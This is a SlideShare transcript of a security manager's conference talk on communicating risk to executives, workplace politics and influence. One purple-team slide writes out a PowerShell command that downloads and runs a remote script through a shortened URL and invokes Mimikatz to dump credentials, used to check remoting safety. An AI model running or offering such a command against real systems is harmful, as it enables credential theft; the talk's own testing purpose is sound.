SlideShare a Scribd company logo
@haydnjohnson
Communication to
Upper Management
& Colleauges
The Art of Influence
@haydnjohnson
Whoami
Haydn Johnson
Security Manager| Purple Teamer
Points (points.com)
@haydnjohnson
Talks: Bsides, Circle City Con, SecTor, NolaCon
Kitty, Gym, BJJ
http://www.slideshare.net/HaydnJohnson
@haydnjohnson
Obligatory kitty photo!
@haydnjohnson
I work here!
@haydnjohnson
1.
Outline
give a summary of (something).
@haydnjohnson
Outline
❏ Why this talk
❏ Communication
Problem
❏ Politics
❏ Influence
❏ Relationship
Building
❏ Examples
@haydnjohnson
2.
How|Why This Talk
Some background
@haydnjohnson
A long time ago
Pentesting | Big 4 consulting
@haydnjohnson
Consulting vs Internal
1 2 3 4
?????
4 weeks
Forever
@haydnjohnson
What I do
Job Title: Security Manager
Responsibilities: Everything Security
Threat Intelligence Network Security
Security Program SDLC
Logging & Monitoring Employee
Security Awareness Web Security
Questions …...
@haydnjohnson
What I do
Number of direct reports : 0
ME
@haydnjohnson
Number of Security staff
@haydnjohnson
In Reality
OPs Team Windows Team
DBA Team Sysadmins
@haydnjohnson
I had to gain support from teams that had no
obligation to help.
❏ No goals
❏ Security responsibility only in my Job Description
In Short
@haydnjohnson
@haydnjohnson
Some Struggles
@haydnjohnson
Some Struggles
I’m not a silver bullet
❏ I don’t know everything
❏ Busy
❏ Not Seen as authority figure - initially
❏ Dev experience lacking
@haydnjohnson
Struggles
I'm not as technical as I thought
❏ Developers asking about websockets / encryption
“Let me do some investigation and get back to you ” /
Aka let me Google that
Was not sure where to start
❏ I wanted to do everything
❏ So many goals
❏ Taking on too much
@haydnjohnson
2.
Question Time
Audience Participation plzkthx
@haydnjohnson
Which is preferred
❏ Says hello every morning
❏ Asks how you are
❏ Remembers personal
information
❏ Ensures you understand
tasks
❏ Rushes straight to their
desk
❏ Does not ask questions
❏ Micromanges
❏ Flips you email of list
Can you work late tonight?
@haydnjohnson
Security has a Communication
Problem
❏ Management does not
care
❏ I told them X months ago
but didn’t listen
❏ Pentest was short
❏ It just does not work
that way
❏ What is the boss
thinking
❏ Thats not a pentest
I still struggle with these
@haydnjohnson
3.
Communication
Problem Example
@haydnjohnson
Security has a Communication
Problem
Pop Calc Example
@haydnjohnson
Kind of correct!
This is what an exec thinks
Security has a Communication
Problem
@haydnjohnson
Not paid
Not Fixed Sad Pandas
Consequences
Security has a Communication
Problem
@haydnjohnson
Security has a Communication
Problem
Leads to:
Not Aligned Frustration Running
around
@haydnjohnson
Kind of correct!
This is what an exec thinks
Security has a Communication
Problem
@haydnjohnson
What was not explained:
❏ Popping calcutor is an EXAMPLE of controlling
code
So what?
❏ Someone can control that computer
So what?
❏ Someone is in your network
❏ Access to Data
So what?
Security has a Communication
Problem
@haydnjohnson
What could be improved?
@haydnjohnson
Speak their language
❏ How does this impact them?
❏ Money
❏ Reputation
❏ Down time
❏ Fines
❏ Loss of customers
Benefits
❏ Executives understand
❏ Fixing happens
❏ Less frustration for all
Security has a Communication
Problem
@haydnjohnson
4.
Why is there a
Communication
Problem?
What’s a business
@haydnjohnson
“Different Context
@haydnjohnson
@haydnjohnson
@haydnjohnson
@haydnjohnson
Business Context
Big Wigs
@haydnjohnson
Business Context
Hacking
@haydnjohnson
Business Context
Profits
@haydnjohnson
Business Context
Magic ProfitExecutives
@haydnjohnson
Business Context
Security Costs Money
@haydnjohnson
Business Context
Security Costs Time & Effort
@haydnjohnson
Business Context
It Won ‘t Happen to Us
@haydnjohnson
Business Context
Basically
@haydnjohnson
So what can we do?
@haydnjohnson
Breaking the Status Quo
Security is seen as a
Cost
Need to show how
much a compromise
would cost
Security is time and
effort we don’t want
Amount of dollars to
protect $company
Legislation
Reputation
Won’t happen to us Statistics
News headlines
Assume Breach
@haydnjohnson
If Secuirty is seen in negative
ways
How do we fix this?
@haydnjohnson
How do we have an impact?
Politics
Influence
@haydnjohnson
Politics
@haydnjohnson
3.
Politics
Is just relationships
@haydnjohnson
“Your Organization is MUCH more
political than most of us realize.
https://www.manager-tools.com/2012/12/rules-politics-chapter-one
-count-your-votes
@haydnjohnson
“Non-rational decision Making
https://www.manager-tools.com/2012/12/rules-politics-chapter-one
-count-your-votes
@haydnjohnson
Politics
Think of it as Relationship Effects
“Professional Life is HUMAN life, and that means
it's emotional, and therefore political.”
https://www.manager-tools.com/2012/12/rules-politics-chapter-one
-count-your-votes
@haydnjohnson
Politics
Think of it as Relationship Effects
❏ In order to get what I want, I have to give them
what they want
❏ Give and take
@haydnjohnson
How can you ‘play’ politics
better?
@haydnjohnson
3.
Influence
A process for having an effect
@haydnjohnson
If someone influences someone else, they are
changing a person or thing in an indirect but
important way.
This way
What is Influence
@haydnjohnson
Big 4 Example
@haydnjohnson
Why Influence
❏ Reach Goals
❏ Effect change
❏ Having input that matters
❏ Being appreciated
❏ Necessary tool in organizational life
@haydnjohnson
Why Influence
What could that mean for me:
❏ The extra tool you
needed
❏ Career development
❏ Bigger project
❏ Exploitation
❏ Fixes approved
❏ Help from other
teams
❏ Time to tune tools
❏ Changing a process
@haydnjohnson
Why Influence
Most importantly
You are not doing this:
@haydnjohnson
How to Influence
❏ Speak Business Language
❏ Communicate in Risk, Dollars and cents
❏ Relationship Building
@haydnjohnson
How to Influence
Business Language
❏ Business Reputation
❏ Customer / Client Reputation
❏ Market and Strategy
❏ How do we stack against other companies
❏ Compliance
❏ Technology is not the driving force
@haydnjohnson
How to Influence
Metrics
❏ High, Medium, Low
❏ How long does it take to remediate?
❏ What are they rated on?
@haydnjohnson
How to Influence
Risks, dollars and cents
❏ What is the risk, so what?
❏ Dollar spent for each dollar protected
❏ Best practices
@haydnjohnson
How to Influence
Meetings
❏ Agenda / Description
❏ Prepare beforehand
❏ Start and finsh on time
@haydnjohnson
If you can't present. Your ideas
cant be heard
https://www.manager-tools.com/2012/12/rules-politics-chapter-one-count-your-vot
es
@haydnjohnson
3.
Relationship
Building over
“Zero Dayz”
@haydnjohnson
@haydnjohnson
Technical Skills are Fantastic
Your exploit code is amazing
Your detection algorithm is on point
@haydnjohnson
Relationship Building
Tech + Soft Skills == Career zero day
❏ Networking == more opportunities
What you do and know can reach more people
@haydnjohnson
What does it mean?
People Skills / Soft Skills
❏ Thinking outside the self
❏ Communicating clearly
❏ Empathy
@haydnjohnson
What does that really mean?
Influence
❏ How can I get the most out of this interaction to
benefit security?
❏ How can I speak in their language?
❏ What mood are they in?
@haydnjohnson
@haydnjohnson
Examples - Risk Register
Risk Register
❏ Why a Risk Register?
❏ What value will it add?
❏ Speak Business
@haydnjohnson
Examples - Risk Register
Risk Register
❏ To track risks, accountability
❏ Potential damage / cost / impact
❏ Metrics
@haydnjohnson
Examples - Risk Register
How did I approach
❏ Placing in Jira
I want to create this, that has a goal of...
How can you help me?
Is there a different way?
@haydnjohnson
Examples - Risk Register
The result
❏ A whole workflow created in a test environment
❏ People love to help if you look at them as the expert
❏ More than just what I wanted included
❏ Things included audibility and tracking
❏ Metrics for the business
@haydnjohnson
Examples - Mistakes
Admitting them
❏ Hard
❏ Necessary
❏ Cultivates a great environment
@haydnjohnson
What I find works
@haydnjohnson
Solutions that worked for me
Relationship Building
& Influence
❏ Not claiming the sky
is falling
❏ Transparency
❏ Listening for a
response
Why does it work?
❏ No boy who cried
wolf
❏ Integrity
❏ They will feel valued,
more likely to help
@haydnjohnson
Solutions that worked for me
Coffee with the CFO Example
❏ Present to CFO/CTO fortnightly
Fear usingFear
❏ Fear should not be the tool for security
@haydnjohnson
Solutions that worked for me
Security is not just code
❏ People
❏ Process
❏ Technology
Code is written by people. Code is pushed via a
process. Code is hosted on technology
@haydnjohnson
6.
Example exercise
Purple Team
@haydnjohnson
PowerShell Remoting
Mimikatz
@haydnjohnson
Credentials in Memory
Helpdesk / Ops wants a secure way to remotely
manage workstation(s).
RDP | VNC - no thanks
Want to use PowerShell Remoting because easier and
‘secure’
https://blog.netspi.com/powershell-remoting-cheatsheet/
@haydnjohnson
Credentials in Memory
Requirements
❏ Ease of use
❏ Secure
❏ Auditability
Research shows this is possible
@haydnjohnson
Credentials in Memory
Steps:
○ Before PS-Remoting ○ After PS-Remoting
@haydnjohnson
Credentials in Memory
❏ Need to know for sure
❏ Want to test credentials are safe
❏ See for self
Mimikatz comes in
@haydnjohnson
Credentials in Memory
Command Run:
powershell "IEX (New-Object
Net.WebClient).DownloadString('http://is.gd/oeoFuI');
Invoke-Mimikatz -DumpCreds | Out-File pre.txt”
http://carnal0wnage.attackresearch.com/2013/10/dumping-domains-worth-of-pa
sswords-with.html
@haydnjohnson
Credentials in Memory
Dumping credentials
@haydnjohnson
Credentials in Memory
Compare
@haydnjohnson
Credentials in Memory
Thumbs up success gift] / image
@haydnjohnson
Credentials in Memory
Success!
❏ Need to document
❏ Have justification to Implement!
❏ Security Gives sign off!
@haydnjohnson
Conclusion
@haydnjohnson
Top Takeaways
We are all in this together
Soft skills will take you far
@haydnjohnson
Mentoring
@haydnjohnson
Questions, Comments, Ask away
@haydnjohnson
Time Bonus
@haydnjohnson
Phishing Awareness Campaign
Not textbook execution
❏ Was not focused on click rate or credentials
❏ Exciting - allowed rumours to spread
❏ People talked about it with each other
@haydnjohnson
Phishing Awareness Campaign
Goals for $company
❏ Know to contact me for $security
❏ Have security at front of mind
❏ Understand phishing scams
@haydnjohnson
Phishing - sucks
@haydnjohnson
Awareness “Training”
@haydnjohnson
All the lolcats
@haydnjohnson
Everyone can be phished, even
me
@haydnjohnson
Phishing Awareness Campaign
Training was not training
❏ 30min awareness session
❏ Lolcats & jokes
❏ Graphs for team results
@haydnjohnson
Phishing Awareness Campaign
Visibility as Security
❏ Everyone knew my name
❏ People approached me with their story
@haydnjohnson
Phishing Awareness Campaign
@haydnjohnson
Top Takeaways
We are all in this together
Soft skills will take you far

More Related Content

PDF
Human(e) Security in a World of Business 2018
PPTX
Final cycles overview jan 2019 with toolkit
PDF
Indeed Engineering and The Lead Developer Present: Tech Leadership and Manage...
PDF
Accepting the Truth at Work: 3 Practical Tools
PDF
Reframing Performance Management Conversations: AIGs Transformation Story
PDF
6 Cycles Remote Innovation - Pitch-Perfect
PPTX
Data Science and Goodhart's Law
PDF
5 Cycles Remote Innovation - Systems
Human(e) Security in a World of Business 2018
Final cycles overview jan 2019 with toolkit
Indeed Engineering and The Lead Developer Present: Tech Leadership and Manage...
Accepting the Truth at Work: 3 Practical Tools
Reframing Performance Management Conversations: AIGs Transformation Story
6 Cycles Remote Innovation - Pitch-Perfect
Data Science and Goodhart's Law
5 Cycles Remote Innovation - Systems

What's hot (20)

PDF
3 Cycles Remote Innovation - Build
PPTX
Moving Mountains Through Measurement
PPTX
CYCLES course (5): Systems and System Thinking
PPT
Looking through the Glassdoor: What Communicators and HR Pros Need to Know
PPTX
CYCLES Course (2): Alignment
PDF
2 Cycles Remote Innovation - Alignment
PPT
Project Success
PDF
1 Cycles Remote Innovation - introduction
PPTX
CYCLES course: Bonus lecture "Building Innovation Habits"
PPTX
Cracking the Product Manager Interview
PDF
Scaling Management without Sacrificing Culture - Velocity NY 2015
PDF
Scaling Management without Sacrificing Culture - Velocity Europe 2014
PDF
What would you do with 10% Productivity Improvement?
PPT
What to do when it all goes to hell
PPTX
Customer development: An introduction
PDF
Remote innovation student_program_sept_2020
PDF
Webinar - How to Define a Realistic Website Project Timeline
PDF
Project managers- here's to a challenge busting 2016!
PPTX
CYCLES Course (1): Course Introduction
PDF
Talent42 2014 Gayle Laakmann McDowell - Interviewing A- Players (1)
3 Cycles Remote Innovation - Build
Moving Mountains Through Measurement
CYCLES course (5): Systems and System Thinking
Looking through the Glassdoor: What Communicators and HR Pros Need to Know
CYCLES Course (2): Alignment
2 Cycles Remote Innovation - Alignment
Project Success
1 Cycles Remote Innovation - introduction
CYCLES course: Bonus lecture "Building Innovation Habits"
Cracking the Product Manager Interview
Scaling Management without Sacrificing Culture - Velocity NY 2015
Scaling Management without Sacrificing Culture - Velocity Europe 2014
What would you do with 10% Productivity Improvement?
What to do when it all goes to hell
Customer development: An introduction
Remote innovation student_program_sept_2020
Webinar - How to Define a Realistic Website Project Timeline
Project managers- here's to a challenge busting 2016!
CYCLES Course (1): Course Introduction
Talent42 2014 Gayle Laakmann McDowell - Interviewing A- Players (1)

Similar to Communication hack fest-2018-final (20)

PDF
Think like a Data Scientist
PPTX
Cto summit 2014 what every cx o should know
PPT
Human Factor In Project Management
PDF
Software projects can go well... ask me how
PPTX
Blameless system design - annotated
PPTX
Right-Sized Project Management
PPTX
Jennifer volk, anton naumenko
PDF
Masterclass excellent and effective board member hand out
PPTX
The elements of your career
PDF
Management doing the non-obvious II
PPTX
IBADD Tech Survival 101
PPT
So You Want To Be A Consultant July 2009 Published
PDF
UOIT Purple Team - Student Edition 2017
PPTX
The most important attributes of a World-class Remote Team
PDF
Digital transformation
PPTX
PMs and Engineers
PPTX
Running a business (Alberta STC)
PPTX
Product Development -The Great Unknown
PDF
Agile digital enterprise framework v1.4
PDF
On Boarding
Think like a Data Scientist
Cto summit 2014 what every cx o should know
Human Factor In Project Management
Software projects can go well... ask me how
Blameless system design - annotated
Right-Sized Project Management
Jennifer volk, anton naumenko
Masterclass excellent and effective board member hand out
The elements of your career
Management doing the non-obvious II
IBADD Tech Survival 101
So You Want To Be A Consultant July 2009 Published
UOIT Purple Team - Student Edition 2017
The most important attributes of a World-class Remote Team
Digital transformation
PMs and Engineers
Running a business (Alberta STC)
Product Development -The Great Unknown
Agile digital enterprise framework v1.4
On Boarding

More from Haydn Johnson (15)

PPTX
Introduction to Just in Time Access - BrightTalk
PDF
Kubernetes - security you need to know about it
PDF
PT_OWASP_AUSTIN_2017
PDF
Phishing dc618 haydnjohnson
PDF
How to Plan Purple Team Exercises
PDF
Nolacon phishing 2017_haydn_johnson
PDF
Blue team reboot - HackFest
PDF
Purple teaming Cyber Kill Chain
PDF
Bsides to 2016-penetration-testing
PDF
ProsVJoes - Task 2016
PDF
Automation of Penetration Testing
PDF
Empire Work shop
PDF
Meterpreter awareness
PDF
Power sploit persistence walkthrough
PDF
Purple View
Introduction to Just in Time Access - BrightTalk
Kubernetes - security you need to know about it
PT_OWASP_AUSTIN_2017
Phishing dc618 haydnjohnson
How to Plan Purple Team Exercises
Nolacon phishing 2017_haydn_johnson
Blue team reboot - HackFest
Purple teaming Cyber Kill Chain
Bsides to 2016-penetration-testing
ProsVJoes - Task 2016
Automation of Penetration Testing
Empire Work shop
Meterpreter awareness
Power sploit persistence walkthrough
Purple View

Recently uploaded (20)

PPTX
Self-Awareness and Values Development presentation
PDF
Boost the power of design | Design Impulse
PDF
250816-Risk Evaluation & Mitigation Strategy-CQS.pdf
PDF
ORGANIZATIONAL communication -concepts and importance._20250806_112132_0000.pdf
PPTX
BASIC H2S TRAINING for oil and gas industries
PPTX
Management and Leadership across diverse culture
PPTX
Leading, its definiton, example, and types.pptx
PPTX
Principles & Theories of Mgt-Master in PM.pptx
PPTX
WORLD TRADE ORAGANIZATION- INSTITUTION TO MANAGE TRADE BETWEEN NATIONS
PDF
JOB APPLICATION AND RESUME WRITING IN MANAGEMENT
PDF
Leading with Empathy: Building Inclusive Growth in Bangladesh
PPTX
TCoE_IT_Concrete industry.why is it required
PPTX
SM_Behavior Based Safety (BBS)_Unit V.pptx
PDF
How to Present a Project Proposal to Stakeholders for Approval?
PDF
Certified Information Systems Security Professional (CISSP) Specialization Ce...
PPTX
Management and Leadership across culture at McDonald's
PPTX
Spotlight on road Injury in the Philippines
PPTX
Ryan Daly Gallardo Prod Management PPT .pptx
PDF
The Sustainable Site: Boosting Productivity in Construction – Pipe Dream or P...
PDF
Eugene Orlovsky CEO & Founder of Perfsys
Self-Awareness and Values Development presentation
Boost the power of design | Design Impulse
250816-Risk Evaluation & Mitigation Strategy-CQS.pdf
ORGANIZATIONAL communication -concepts and importance._20250806_112132_0000.pdf
BASIC H2S TRAINING for oil and gas industries
Management and Leadership across diverse culture
Leading, its definiton, example, and types.pptx
Principles & Theories of Mgt-Master in PM.pptx
WORLD TRADE ORAGANIZATION- INSTITUTION TO MANAGE TRADE BETWEEN NATIONS
JOB APPLICATION AND RESUME WRITING IN MANAGEMENT
Leading with Empathy: Building Inclusive Growth in Bangladesh
TCoE_IT_Concrete industry.why is it required
SM_Behavior Based Safety (BBS)_Unit V.pptx
How to Present a Project Proposal to Stakeholders for Approval?
Certified Information Systems Security Professional (CISSP) Specialization Ce...
Management and Leadership across culture at McDonald's
Spotlight on road Injury in the Philippines
Ryan Daly Gallardo Prod Management PPT .pptx
The Sustainable Site: Boosting Productivity in Construction – Pipe Dream or P...
Eugene Orlovsky CEO & Founder of Perfsys

Communication hack fest-2018-final